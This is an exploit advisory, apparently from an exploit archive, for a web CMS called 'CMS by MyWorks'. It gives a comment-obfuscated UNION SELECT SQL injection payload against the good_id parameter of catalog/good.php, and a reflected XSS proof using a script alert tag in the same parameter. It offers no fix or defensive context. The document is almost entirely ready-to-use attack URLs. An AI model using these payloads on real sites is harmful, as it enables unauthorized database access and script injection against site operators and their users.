36 lines
910 B
Text
Executable file
36 lines
910 B
Text
Executable file
CMS by MyWorks SQL/ XSS Vulnerability
|
|
========================================================
|
|
|
|
####################################################################
|
|
# Author : Palyo34
|
|
|
|
# Home : www.1923Turk.com
|
|
|
|
# Script : CMS by MyWorks
|
|
|
|
# Script site: http://www.myworks.spb.ru/
|
|
|
|
####################################################################
|
|
|
|
===[ Exploit ]===
|
|
|
|
http://server/catalog/good.php?good_id= SQL INJECTION
|
|
|
|
1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12
|
|
|
|
Demo:
|
|
|
|
http://server/catalog/good.php?good_id=1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12
|
|
|
|
|
|
###################################################################
|
|
|
|
|
|
===[XSS Vulnerability]===
|
|
|
|
|
|
http://server/catalog/good.php?good_id=
|
|
|
|
|
|
http://server/catalog/good.php?good_id=164<script>alert("XSS")</script>
|
|
|